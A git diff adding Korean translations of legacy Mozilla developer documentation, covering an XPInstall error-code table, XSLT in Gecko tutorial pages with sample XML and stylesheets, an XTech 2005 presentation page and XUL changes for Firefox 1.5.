+   <td>0</td>
+   <td>성공.</td>
+  </tr>
+  <tr>
+   <td><code>REBOOT_NEEDED</code></td>
+   <td>999</td>
+   <td>파일들이 이미 설치되어 있으며, 하나 혹은 그 이상의 컴포넌트들이 이미 사용중입니다. 설치과정을 완료하려면 컴퓨터와 응용프로그램을 재시작해야 합니다. Windows NT상에서는, 운영중인 시스템 파일들을 덮어 씌우지만 않는다면 단지 응용 프로그램만 재시작을 하면 됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>BAD_PACKAGE_NAME</code></td>
+   <td>-200</td>
+   <td>이 문제는 <a href="ko/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall</a>에서 제공되어지는 패키지 이름과 같은 이름일 경우에 발생합니다.</td>
+  </tr>
+  <tr>
+   <td><code>UNEXPECTED_ERROR</code></td>
+   <td>-201</td>
+   <td>정의되지 않은 에러가 발생했습니다.</td>
+  </tr>
+  <tr>
+   <td><code>ACCESS_DENIED</code></td>
+   <td>-202</td>
+   <td>유저 (혹은 OS)는 필요한 보안 권한을 허가하지 않았습니다.</td>
+  </tr>
+  <tr>
+   <td><code>TOO_MANY_CERTIFICATES</code></td>
+   <td>-203</td>
+   <td>설치 스크립트는 하나 혹은 그 이상의 증명서에 의해 조인되었습니다.</td>
+  </tr>
+  <tr>
+   <td><code>NO_INSTALL_SCRIPT</code></td>
+   <td>-204</td>
+   <td>설치 스크립트는 조인되지 않았습니다.</td>
+  </tr>
+  <tr>
+   <td><code>NO_CERTIFICATE</code></td>
+   <td>-205</td>
+   <td>추출된 파일은 승인되지 않았거나 그 파일(혹은 그것의 인증서)을 찾을 수 없습니다.</td>
+  </tr>
+  <tr>
+   <td><code>NO_MATCHING_CERTIFICATE</code></td>
+   <td>-206</td>
+   <td>추출된 파일은 설치 스크립트에 등록해 사용하는 인증서에 인증되지 있지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>CANT_READ_ARCHIVE</code></td>
+   <td>-207</td>
+   <td>XPI package를 읽을 수가 없습니다.</td>
+  </tr>
+  <tr>
+   <td><code>INVALID_ARGUMENTS</code></td>
+   <td>-208</td>
+   <td>잘못된 파라미터들이 전달되었습니다.</td>
+  </tr>
+  <tr>
+   <td><code>ILLEGAL_RELATIVE_PATH</code></td>
+   <td>-209</td>
+   <td>비정상적인 경로입니다.</td>
+  </tr>
+  <tr>
+   <td><code>USER_CANCELLED</code></td>
+   <td>-210</td>
+   <td>유저가 설치 다이얼로그의 '취소'버튼을 눌렀습니다.</td>
+  </tr>
+  <tr>
+   <td><code>INSTALL_NOT_STARTED</code></td>
+   <td>-211</td>
+   <td>이 문제는 <a href="ko/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall</a>에 파라미터 혹은 첫번째로 호출되지 않았을 때 야기됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>SILENT_MODE_DENIED</code></td>
+   <td>-212</td>
+   <td>동의없이 설치하는 것은 허락되지 않았습니다.</td>
+  </tr>
+  <tr>
+   <td><code>NO_SUCH_COMPONENT</code></td>
+   <td>-213</td>
+   <td>명시된 컨포넌트는 Client Version Registry에 존재하지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>DOES_NOT_EXIST</code></td>
+   <td>-214</td>
+   <td>명시된 파일은 존재하지 않으므로 삭제할 수 없습니다.</td>
+  </tr>
+  <tr>
+   <td><code>READ_ONLY</code></td>
+   <td>-215</td>
+   <td>명시된 파일은 읽기전용이므로 삭제할 수 없습니다.</td>
+  </tr>
+  <tr>
+   <td><code>IS_DIRECTORY</code></td>
+   <td>-216</td>
+   <td>명시된 파일은 디렉토리이므로 삭제할 수 없습니다.</td>
+  </tr>
+  <tr>
+   <td><code>NETWORK_FILE_IS_IN_USE</code></td>
+   <td>-217</td>
+   <td>명시된 파일은 이미 사용중이므로 삭제할 수 없습니다.</td>
+  </tr>
+  <tr>
+   <td><code>APPLE_SINGLE_ERR</code></td>
+   <td>-218</td>
+   <td>AppleSingle format의 한 파일을 푸는 중에 에러가 발생했습니다.</td>
+  </tr>
+  <tr>
+   <td><code>INVALID_PATH_ERR</code></td>
+   <td>-219</td>
+   <td><a href="ko/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder</a>에서 제공된 path가 정상적이지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>PATCH_BAD_DIFF</code></td>
+   <td>-220</td>
+   <td>GDIFF에서 에러가 발생했습니다.</td>
+  </tr>
+  <tr>
+   <td><code>PATCH_BAD_CHECKSUM_TARGET</code></td>
+   <td>-221</td>
+   <td>원본 파일에 작성된 checksum이 XPI 파일의 checksum과 일치하지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>PATCH_BAD_CHECKSUM_RESULT</code></td>
+   <td>-222</td>
+   <td>패치된 파일의 checksum검사는 실패했습니다.</td>
+  </tr>
+  <tr>
+   <td><code>UNINSTALL_FAILED</code></td>
+   <td>-223</td>
+   <td>패키지를 삭제중에 에러가 발생했습니다.</td>
+  </tr>
+  <tr>
+   <td><code>PACKAGE_FOLDER_NOT_SET</code></td>
+   <td>-224</td>
+   <td>설치 스크립트에 설치 폴더가 정의되어 있지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>EXTRACTION_FAILED</code></td>
+   <td>-225</td>
+   <td>XPI file의 추출에 실패했습니다.</td>
+  </tr>
+  <tr>
+   <td><code>FILENAME_ALREADY_USED</code></td>
+   <td>-226</td>
+   <td>같은 파일 이름이 설치를 위해 사용중입니다.</td>
+  </tr>
+  <tr>
+   <td><code>INSTALL_CANCELLED</code></td>
+   <td>-227</td>
+   <td>medias res에서 설치가 취소되었을 때 발생합니다.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_ERROR</code></td>
+   <td>-228</td>
+   <td>내려받기 중 에러가 발생했습니다.</td>
+  </tr>
+  <tr>
+   <td><code>SCRIPT_ERROR</code></td>
+   <td>-229</td>
+   <td>스크립트에 에러가 있습니다.</td>
+  </tr>
+  <tr>
+   <td><code>ALREADY_EXISTS</code></td>
+   <td>-230</td>
+   <td>파일이 이미 로컬에 존재합니다.</td>
+  </tr>
+  <tr>
+   <td><code>IS_FILE</code></td>
+   <td>-231</td>
+   <td>주어진 것(대상)은 디렉토리가 아니라 파일입니다.</td>
+  </tr>
+  <tr>
+   <td><code>SOURCE_DOES_NOT_EXIST</code></td>
+   <td>-232</td>
+   <td>원본 파일/디렉토리를 찾을 수 없습니다.</td>
+  </tr>
+  <tr>
+   <td><code>SOURCE_IS_DIRECTORY</code></td>
+   <td>-233</td>
+   <td>주어진 것(원본)은 파일이 아니라 디렉토리입니다.</td>
+  </tr>
+  <tr>
+   <td><code>SOURCE_IS_FILE</code></td>
+   <td>-234</td>
+   <td>주어진 것(원본)은 디렉토리가 아니라 파일입니다.</td>
+  </tr>
+  <tr>
+   <td><code>INSUFFICIENT_DISK_SPACE</code></td>
+   <td>-235</td>
+   <td>설치를 위한 디스크 공간이 충분하지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>FILENAME_TOO_LONG</code></td>
+   <td>-236</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>UNABLE_TO_LOCATE_LIB_FUNCTION</code></td>
+   <td>-237</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>UNABLE_TO_LOAD_LIBRARY</code></td>
+   <td>-238</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CHROME_REGISTRY_ERROR</code></td>
+   <td>-239</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>MALFORMED_INSTALL</code></td>
+   <td>-240</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>KEY_ACCESS_DENIED</code></td>
+   <td>-241</td>
+   <td>접근이 제한된 레지스트리 키에 접근을 시도했습니다.</td>
+  </tr>
+  <tr>
+   <td><code>KEY_DOES_NOT_EXIST</code></td>
+   <td>-242</td>
+   <td>레지스트리 키가 존재하지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>VALUE_DOES_NOT_EXIST</code></td>
+   <td>-243</td>
+   <td>레지스트리 값이 존재하지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>INVALID_SIGNATURE</code></td>
+   <td>-260</td>
+   <td>XPI가 올바르지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>OUT_OF_MEMORY</code></td>
+   <td>-299</td>
+   <td>작업을 위한 메모리가 충분하지 못합니다.</td>
+  </tr>
+  <tr>
+   <td><code>GESTALT_UNKNOWN_ERROR</code></td>
+   <td>-5550</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>GESTALT_INVALID_ARGUMENT</code></td>
+   <td>-5551</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/xslt_in_gecko/basic_example/index.html b/files/ko/xslt_in_gecko/basic_example/index.html
new file mode 100644
index 0000000000..cb96c52c55
--- /dev/null
+++ b/files/ko/xslt_in_gecko/basic_example/index.html
@@ -0,0 +1,49 @@
+---
+title: Basic Example
+slug: XSLT_in_Gecko/Basic_Example
+translation_of: Web/API/XSLTProcessor/Basic_Example
+---
+<h2 id=".EA.B8.B0.EB.B3.B8_.EC.98.88"> 기본 예 </h2>
+<p>이 첫 예는 브라우저에서 XSLT 변환 설정의 기본을 보여준다. 이 예는 Article에 대한 정보(Title, Author 목록과 Body 글)를 포함한 XML 문서를 얻어 그것을 사람이 읽을 수 있는 형식으로 나타낸다.
+</p><p>그림1은 기본 XSLT예의 소스를 보여준다. XML문서(example.xml)은 글의 정보를 포함한다. ?xml-stylesheet? 처리명령을 써서, 그것의 href 속성을 통해 XSLT 스타일쉬트(example.xsl)에 연결한다.
+</p><p>XSLT 스타일쉬트는 xsl:stylesheet 요소로 시작하는데, 이것은 최종 출력을 생성하는데 쓰이는 모든 템플리트를 포함한다. 그림1의 예는 템플리트 2개를 가진다 - 하나는 root 노드에 하나는 Author 노드에 대응한다. root 노드에 대응하는 템플리트는 글의 제목을 출력하고 Authors 노드의 자식노드인 Author 노드에 대응하는 모든 템플리트를 처리하기 위해 말한다.
+</p><p>그림1 : 간단한 XSLT예
+</p><p>XML 문서 (example.xml) :
+</p>
+<pre>  &lt;?xml version="1.0"?&gt;
+  &lt;?xml-stylesheet type="text/xsl" href="example.xsl"?&gt;
+  &lt;Article&gt;
+    &lt;Title&gt;My Article&lt;/Title&gt;
+    &lt;Authors&gt;
+      &lt;Author&gt;Mr. Foo&lt;/Author&gt;
+      &lt;Author&gt;Mr. Bar&lt;/Author&gt;
+    &lt;/Authors&gt;
+    &lt;Body&gt;This is my article text.&lt;/Body&gt;
+  &lt;/Article&gt;
+</pre>
+<p>XSL 스타일쉬트 (example.xsl) :
+</p>
+<pre>  &lt;?xml version="1.0"?&gt;
+  &lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
+
+    &lt;xsl:output method="text"/&gt;
+
+    &lt;xsl:template match="/"&gt;
+      Article - &lt;xsl:value-of select="/Article/Title"/&gt;
+      Authors: &lt;xsl:apply-templates select="/Article/Authors/Author"/&gt;
+    &lt;/xsl:template&gt;
+
+    &lt;xsl:template match="Author"&gt;
+      - &lt;xsl:value-of select="." /&gt;
+    &lt;/xsl:template&gt;
+
+  &lt;/xsl:stylesheet&gt;
+</pre>
+<p>브라우저 출력:
+</p>
+<pre>  Article - My Article
+  Authors:
+  - Mr. Foo
+  - Mr. Bar
+</pre>
+{{ languages( { "en": "en/XSLT_in_Gecko/Basic_Example" } ) }}
diff --git a/files/ko/xslt_in_gecko/browser_differences/index.html b/files/ko/xslt_in_gecko/browser_differences/index.html
new file mode 100644
index 0000000000..0d22a5b825
--- /dev/null
+++ b/files/ko/xslt_in_gecko/browser_differences/index.html
@@ -0,0 +1,8 @@
+---
+title: Browser Differences
+slug: XSLT_in_Gecko/Browser_Differences
+translation_of: Web/API/XSLTProcessor/Browser_Differences
+---
+<h2 id=".EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.EC.B0.A8.EC.9D.B4"> 브라우저 차이</h2>
+<p>Netscape 7.x (모든 플랫폼)과 Internet Explorer 6(윈도즈)는 W3C XSLT 1.0 표준( <a class=" external" href="http://www.w3.org/TR/xslt">http://www.w3.org/TR/xslt</a> )을 지원합니다. IE 5.0과 5.5 (둘 다 윈도즈)는 XSLT의 초안만 지원하므로 XSLT 1.0 스타일쉬트와는 호환하지 않습니다. Netscape 6.x는 XSLT 1.0을 부분적으로만 지원합니다.
+</p>{{ languages( { "en": "en/XSLT_in_Gecko/Browser_Differences" } ) }}
diff --git a/files/ko/xslt_in_gecko/generating_html/index.html b/files/ko/xslt_in_gecko/generating_html/index.html
new file mode 100644
index 0000000000..5bb284bdb8
--- /dev/null
+++ b/files/ko/xslt_in_gecko/generating_html/index.html
@@ -0,0 +1,174 @@
+---
+title: Generating HTML
+slug: XSLT_in_Gecko/Generating_HTML
+translation_of: Web/API/XSLTProcessor/Generating_HTML
+---
+<h2 id="HTML_.EC.83.9D.EC.84.B1.ED.95.98.EA.B8.B0"> HTML 생성하기</h2>
+<p>브라우저에서 XSLT의 공통 응용은 XML을 클라이언트의 안에 변환해 넣는 것이다. 두번째 예는 입력문서(example2.xml)를 변환하는데, 이것은 또 글의 정보를 포함하고 HTML문서 안에 들어간다.
+</p><p>Article의 <code><span>&lt;body&gt;</span></code> 요소는 지금 HTML의 요소 (<code><span>&lt;b&gt;</span></code> 와 <code><span>&lt;u&gt;</span></code> 태그, 그림 2)를 포함한다. XML 문서는 HTML요소와 XML 요소 모두 포함하지만, 단 하나의 namespace 즉 XML 요소만 필요하다. HTML namespace가 없으므로, 그리고 XHTML namespace를 사용하여 XSL에서 an XML document를 생성하고 그것은 HTML문서와 같은 양상은 아닐 것이고, XSL Stylesheet 의<code>xsl:output</code>는 결과문서는 HTML처럼 다루어질 것을 보장한다 . XML 요소에 대해, 우리 자신의 namespace <code><a class=" external" href="http://devedge.netscape.com/2002/de">http://devedge.netscape.com/2002/de</a></code> 는 필요하고, 그것은 접두어 myNS <code>(xmlns:myNS="<span>http://devedge.netscape.com/2002/de</span>)</code>에 주어진다.
+</p><p><small><b>그림 2 XML 파일 (example2.xml)</b></small>
+<span>XML Document (example2.xml):</span>
+</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet type="text/xsl" href="example2.xsl"?&gt;
+&lt;myNS:Article xmlns:myNS="http://devedge.netscape.com/2002/de"&gt;
+&lt;myNS:Title&gt;My Article&lt;/myNS:Title&gt;
+&lt;myNS:Authors&gt;
+&lt;myNS:Author company="Foopy Corp."&gt;Mr. Foo&lt;/myNS:Author&gt;
+&lt;myNS:Author&gt;Mr. Bar&lt;/myNS:Author&gt;
+&lt;/myNS:Authors&gt;
+&lt;myNS:Body&gt;
+The &lt;b&gt;rain&lt;/b&gt; in &lt;u&gt;Spain&lt;/u&gt; stays mainly in the plains.
+&lt;/myNS:Body&gt;
+&lt;/myNS:Article&gt;
+</pre>
+<p>The XSL Stylesheet used will need to have two namespaces - one for the XSLT elements and one for our own XML elements used in the XML document. The output of the XSL Stylesheet is set to <code>HTML</code> by using the <code>xsl:output</code> element. By setting the output to be HTML and not having a namespace on the resulting elements (colored in blue), those elements will be treated as HTML elements.
+</p><p><small><b>그림 3 : 두 namespaces를 가진 XSL Stylesheet (example2.xsl)</b></small>
+<span>XSL Stylesheet (example2.xsl):</span>
+</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;xsl:stylesheet version="1.0"
+xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+xmlns:myNS="http://devedge.netscape.com/2002/de"&gt;
+
+&lt;xsl:output method="html"/&gt;
+...
+&lt;/xsl:stylesheet version="1.0"&gt;
+</pre>
+<p>A template matching the root node of the XML document is created and used to create the basic structure of the HTML page.
+</p><p><small><b>Figure 4 : Creating the basic HTML document</b></small>
+<span>XSL Stylesheet (example2.xsl):</span>
+</p>
+<pre>...
+&lt;xsl:template match="/"&gt;
+&lt;html&gt;
+
+&lt;head&gt;
+
+&lt;title&gt;
+&lt;xsl:value-of select="/myNS:Article/myNS:Title"/&gt;
+&lt;/title&gt;
+
+&lt;style type="text/css"&gt;
+.myBox {margin:10px 155px 0 50px; border: 1px dotted #639ACE; padding:0 5px 0 5px;}
+&lt;/style&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p class="myBox"&gt;
+&lt;span class="title"&gt;
+&lt;xsl:value-of select="/myNS:Article/myNS:Title"/&gt;
+&lt;/span&gt; &lt;/br&gt;
+
+Authors: &lt;br /&gt;
+&lt;xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/&gt;
+&lt;/p&gt;
+
+&lt;p class="myBox"&gt;
+&lt;xsl:apply-templates select="//myNS:Body"/&gt;
+&lt;/p&gt;
+
+&lt;/body&gt;
+
+&lt;/html&gt;
+&lt;/xsl:template&gt;
+...
+</pre>
+<p>Three more <code>xsl:template</code>'s are needed to complete the example. The first <code>xsl:template</code> is used for the author nodes, while the second one processes the body node. The third template has a general matching rule which will match any node and any attribute. It is needed in order to preserve the html elements in the XML document, since it matches all of them and copies them out into the HTML document the transformation creates.
+</p><p><b><small>그림 5 : 최종 3개 템플리트</small></b>
+<span>XSL Stylesheet(example2.xsl):</span>
+</p>
+<pre>...
+&lt;xsl:template match="myNS:Author"&gt;
+-- &lt;xsl:value-of select="." /&gt;
+
+&lt;xsl:if test="@company"&gt;
+:: &lt;b&gt; &lt;xsl:value-of select="@company" /&gt; &lt;/b&gt;
+&lt;/xsl:if&gt;
+
+&lt;br /&gt;
+&lt;/xsl:template&gt;
+
+&lt;xsl:template match="myNS:Body"&gt;
+&lt;xsl:copy&gt;
+&lt;xsl:apply-templates select="@*|node()"/&gt;
+&lt;/xsl:copy&gt;
+&lt;/xsl:template&gt;
+
+&lt;xsl:template match="@*|node()"&gt;
+&lt;xsl:copy&gt;
+&lt;xsl:apply-templates select="@*|node()"/&gt;
+&lt;/xsl:copy&gt;
+&lt;/xsl:template&gt;
+...
+</pre>
+<p>The final XSLT stylesheet looks as follows:
+</p><p><small><b>그림 6 : 최종 XSLT Stylesheet<span>view example | view source</span></b></small>
+<span>XSL Stylesheet:</span>
+</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;xsl:stylesheet version="1.0"
+xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+xmlns:myNS="http://devedge.netscape.com/2002/de"&gt;
+
+&lt;xsl:output method="html" /&gt;
+
+&lt;xsl:template match="/"&gt;
+&lt;html&gt;
+
+&lt;head&gt;
+
+&lt;title&gt;
+&lt;xsl:value-of select="/myNS:Article/myNS:Title"/&gt;
+&lt;/title&gt;
+
+&lt;style type="text/css"&gt;
+.myBox {margin:10px 155px 0 50px; border: 1px dotted #639ACE; padding:0 5px 0 5px;}
+&lt;/style&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p class="myBox"&gt;
+&lt;span class="title"&gt;
+&lt;xsl:value-of select="/myNS:Article/myNS:Title"/&gt;
+&lt;/span&gt; &lt;br /&gt;
+
+Authors: &lt;br /&gt;
+&lt;xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/&gt;
+&lt;/p&gt;
+
+&lt;p class="myBox"&gt;
+&lt;xsl:apply-templates select="//myNS:Body"/&gt;
+&lt;/p&gt;
+
+&lt;/body&gt;
+
+&lt;/html&gt;
+&lt;/xsl:template&gt;
+
+&lt;xsl:template match="myNS:Author"&gt;
+-- &lt;xsl:value-of select="." /&gt;
+
+&lt;xsl:if test="@company"&gt;
+:: &lt;b&gt; &lt;xsl:value-of select="@company" /&gt; &lt;/b&gt;
+&lt;/xsl:if&gt;
+
+&lt;br /&gt;
+&lt;/xsl:template&gt;
+
+&lt;xsl:template match="myNS:Body"&gt;
+&lt;xsl:copy&gt;
+&lt;xsl:apply-templates select="@*|node()"/&gt;
+&lt;/xsl:copy&gt;
+&lt;/xsl:template&gt;
+
+&lt;xsl:template match="@*|node()"&gt;
+&lt;xsl:copy&gt;
+&lt;xsl:apply-templates select="@*|node()"/&gt;
+&lt;/xsl:copy&gt;
+&lt;/xsl:template&gt;
+&lt;/xsl:stylesheet&gt;
+</pre>
+{{ languages( { "en": "en/XSLT_in_Gecko/Generating_HTML" } ) }}
diff --git a/files/ko/xslt_in_gecko/index.html b/files/ko/xslt_in_gecko/index.html
new file mode 100644
index 0000000000..6f7fae0786
--- /dev/null
+++ b/files/ko/xslt_in_gecko/index.html
@@ -0,0 +1,14 @@
+---
+title: XSLT in Gecko
+slug: XSLT_in_Gecko
+tags:
+  - XSLT
+translation_of: Web/API/XSLTProcessor
+---
+<ol><li> <a href="ko/XSLT_in_Gecko/Introduction">개요</a>
+</li><li> <a href="ko/XSLT_in_Gecko/Basic_Example">기본 예제</a>
+</li><li> <a href="ko/XSLT_in_Gecko/Generating_HTML">HTML 생성</a>
+</li><li> <a href="ko/XSLT_in_Gecko/Browser_Differences">브라우저 차이</a>
+</li><li> <a href="ko/XSLT_in_Gecko/Resources">자원</a>
+</li></ol>
+{{ languages( { "en": "en/XSLT_in_Gecko" } ) }}
diff --git a/files/ko/xslt_in_gecko/introduction/index.html b/files/ko/xslt_in_gecko/introduction/index.html
new file mode 100644
index 0000000000..bfb103b98f
--- /dev/null
+++ b/files/ko/xslt_in_gecko/introduction/index.html
@@ -0,0 +1,13 @@
+---
+title: Introduction
+slug: XSLT_in_Gecko/Introduction
+translation_of: Web/API/XSLTProcessor/Introduction
+---
+<h2 id=".EA.B0.9C.EC.9A.94">개요</h2>
+<p>W3표준 안에서 주목할만한 하나의 흐름은 스타일로부터 내용을 분리하려는 노력이다.
+</p><p>이것은 같은 스타일이 여러 내용에서 재사용되는 것을 허용할 뿐 아니라 유지보수를 쉽게 하고 (하나의 파일만 바꾸어서) 내용의 외관을 빠르게 바꾸는 방법을 허용한다.
+</p><p>CSS (Cascade Style Sheets)는 W3C에서 제안된 첫번째 방법이다. CSS는 스타일규칙을 웹문서에 적용하는 간단한 방법이다. 이 스타일규칙은 어떻게 문서(내용)가 놓일지 정의한다. 그러나, 여러 제한이 있다. 프로그램 구조와 복잡한 레이아웃 모델을 만드는 가능성의 부족. CSS는 요소의 위치 변화제공에 제한된다.
+</p><p>XSL (Extensible Stylesheet Language)변환은 두 부분으로 구성된다. XML트리를 다른 마크업 트리로 변환하는 XSL요소, 트리를 위한 선택언어 XPath.
+XSLT는 XML문서를 얻어서 XSL스타일쉬트안의 규칙에 기반한 새 문서를 생성한다. 이것은 XSLT가 원 XML문서로부터 요소를 추가, 제거, 재구성하는 것을 허용하고 따라서 결과문서구조의 좀더 세분된 제어를 허용한다.
+</p><p>XSLT의 변환은 template로 구성된 규칙에 기반한다. 각 template은 입력 XML문서의 조각에 대응하고 대응하는 부분을 새 결과문서에 적용한다.
+</p>{{ languages( { "en": "en/XSLT_in_Gecko/Introduction" } ) }}
diff --git a/files/ko/xslt_in_gecko/resources/index.html b/files/ko/xslt_in_gecko/resources/index.html
new file mode 100644
index 0000000000..bcdb54116f
--- /dev/null
+++ b/files/ko/xslt_in_gecko/resources/index.html
@@ -0,0 +1,14 @@
+---
+title: Resources
+slug: XSLT_in_Gecko/Resources
+translation_of: Web/API/XSLTProcessor/Resources
+---
+<h2 id=".EC.9E.90.EC.9B.90" name=".EC.9E.90.EC.9B.90">자원</h2>
+<ul>
+ <li><a class="external" href="http://devedge.netscape.com/library/manuals/2001/xslt/1.0/">Transforming XML: Netscape and XSLT</a></li>
+ <li><a class="external" href="http://www-106.ibm.com/developerworks/library/x-xslt/">What kind of language is XSLT?</a> at <a class="external" href="http://www-106.ibm.com/developerworks/">IBM developerWorks</a></li>
+ <li><a class="external" href="http://www.zvon.org/xxl/XSLTutorial/Books/Book1/index.html">XSLT Tutorial</a> at <a class="external" href="http://www.zvon.org/">zvon.org</a></li>
+ <li><a class="external" href="http://www.zvon.org/xxl/XPathTutorial/General/examples.html">XPath Tutorial</a> at <a class="external" href="http://www.zvon.org/">zvon.org</a></li>
+ <li><a href="ko/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations">Using the Mozilla JavaScript interface to XSL Transformations</a></li>
+ <li><a class="external" href="http://www.mozilla.org/projects/xslt/">Mozilla.org's XSLT Project Page</a>, which includes a frequently encountered issues section.</li>
+</ul>
diff --git a/files/ko/xtech_2005_presentations/directions_of_the_mozilla_rdf_engine/index.html b/files/ko/xtech_2005_presentations/directions_of_the_mozilla_rdf_engine/index.html
new file mode 100644
index 0000000000..21802bfb50
--- /dev/null
+++ b/files/ko/xtech_2005_presentations/directions_of_the_mozilla_rdf_engine/index.html
@@ -0,0 +1,17 @@
+---
+title: Directions of the Mozilla RDF engine
+slug: XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine
+tags:
+  - Presentations
+  - RDF
+translation_of: Archive/Mozilla/XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine
+---
+<h3 id=".ED.94.84.EB.A0.88.EC.A0.A0.ED.85.8C.EC.9D.B4.EC.85.98" name=".ED.94.84.EB.A0.88.EC.A0.A0.ED.85.8C.EC.9D.B4.EC.85.98">프레젠테이션</h3>
+<ul>
+ <li><a class="external" href="http://developer.mozilla.org/presentations/xtech2005/rdf/">온라인으로 보기</a></li>
+ <li><a class="external" href="http://developer.mozilla.org/presentations/xtech2005/download/rdf-xtech2005.zip">다운로드</a></li>
+</ul>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p>이 프레젠테이션은 새로운 Mozilla RDF 엔진의 개발 내용을 보여줍니다. 여기에는 공개 웹 컨텐츠를 위한 RDF API 의 공개 계획과 성능 및 정확도의 향상 등의 내용이 포함됩니다.</p>
+<h3 id=".EC.A7.88.EB.AC.B8.EA.B3.BC_.ED.86.A0.EB.A1.A0" name=".EC.A7.88.EB.AC.B8.EA.B3.BC_.ED.86.A0.EB.A1.A0">질문과 토론</h3>
+<p><a>Mozilla RDF 엔진의 방향 - 토론</a></p>
diff --git a/files/ko/xtech_2005_presentations/index.html b/files/ko/xtech_2005_presentations/index.html
new file mode 100644
index 0000000000..daf0bf6c44
--- /dev/null
+++ b/files/ko/xtech_2005_presentations/index.html
@@ -0,0 +1,6 @@
+---
+title: XTech 2005 Presentations
+slug: XTech_2005_Presentations
+translation_of: Archive/Mozilla/XTech_2005_Presentations
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/ko/xul_changes_for_firefox_1.5/index.html b/files/ko/xul_changes_for_firefox_1.5/index.html
new file mode 100644
index 0000000000..3431617ebc
--- /dev/null
+++ b/files/ko/xul_changes_for_firefox_1.5/index.html
@@ -0,0 +1,44 @@
+---
+title: XUL Changes for Firefox 1.5
+slug: XUL_Changes_for_Firefox_1.5
+tags:
+  - XUL
+translation_of: Archive/Mozilla/XUL/XUL_Changes_for_Firefox_1.5
+---
+<p>여기서는 <a href="ko/Firefox_1.5">Firefox 1.5</a> (<a href="ko/Gecko">Gecko</a> 1.8)에서 <a href="ko/XUL">XUL</a>에 가장 두드러진 바뀐 점을 나열합니다. 알면 좋을 다른 바뀐 점은, <a href="ko/Adapting_XUL_Applications_for_Firefox_1.5">Adapting XUL Applications for Firefox 1.5</a>을 보세요.</p>
+<h3 id=".3Cscrollcorner.3E" name=".3Cscrollcorner.3E"><code>&lt;scrollcorner&gt;</code></h3>
+<p>&lt;scrollcorner&gt; 요소는 가로와 세로 스크롤바의 교차점에 작은 상자를 만드는데 쓰기 위해 추가했습니다.</p>
+<h3 id=".3Crichlistbox.3E.EC.99.80_.3Crichlistitem.3E" name=".3Crichlistbox.3E.EC.99.80_.3Crichlistitem.3E"><code>&lt;richlistbox&gt;</code>와 <code>&lt;richlistitem&gt;</code></h3>
+<p>&lt;richlistbox&gt;와 &lt;richlistitem&gt; 요소는 임의(arbitrary) content를 포함하는 목록을 만드는 데 씁니다. 이 요소는 원래 textual 아이템 목록을 위해 설계한 &lt;listbox&gt;와 비슷하게 동작합니다. &lt;richlistbox&gt;는 &lt;listbox&gt;와 많이 같은 API를 지원하고 &lt;richlistitem&gt; 요소가 만든 단일 항목들을 선택할 지도 모릅니다. 더 많은 정보는 <a href="ko/XUL/Richlistbox">XUL:Richlistbox</a>를 보세요.</p>
+<h3 id=".ED.99.98.EA.B2.BD.EC.84.A4.EC.A0.95_.EC.8B.9C.EC.8A.A4.ED.85.9C" name=".ED.99.98.EA.B2.BD.EC.84.A4.EC.A0.95_.EC.8B.9C.EC.8A.A4.ED.85.9C">환경설정 시스템</h3>
+<p>여러 요소가 환경설정 창을 만드는데 쓰일 수 있도록 추가됐습니다. 이 창은 여러 패널(panel)을 지원하는 다이얼로그의 특수한 형태이며, 각 패널은 같은 파일이나 개별 파일에 포함될 수 있습니다. 아이콘 한 모음(set)이 사용자가 패널을 전환하게 두는 다이얼로그 꼭대기에 나타납니다. 새 환경설정 요소와 기존 요소를 위한 추가 속성과 함께, 코드를 쓰지 않고도 쉽게 환경설정을 할 수 있습니다. 더 많은 정보는, <a href="ko/Preferences_System">Preferences System</a>을 보세요.</p>
+<h3 id="bfcache" name="bfcache"><code>bfcache</code></h3>
+<p>Mozilla는 이제 페이지의 DOM을 캐시에 저장합니다, 그래서 뒤로 가기와 앞으로 가기는 페이지를 다시 싣지(load) 않고, 내비게이션 효율을 훨씬 더 높입니다. <code>pageshow</code>와 <code>pagehide</code> 이벤트는 캐시에서 페이지를 전환할 떄 쓰입니다. 반면에 <code>load</code>와 <code>unload</code> 이벤트는 오직 페이지를 싣(load)거나 내릴(unload) 때 쓰입니다.</p>
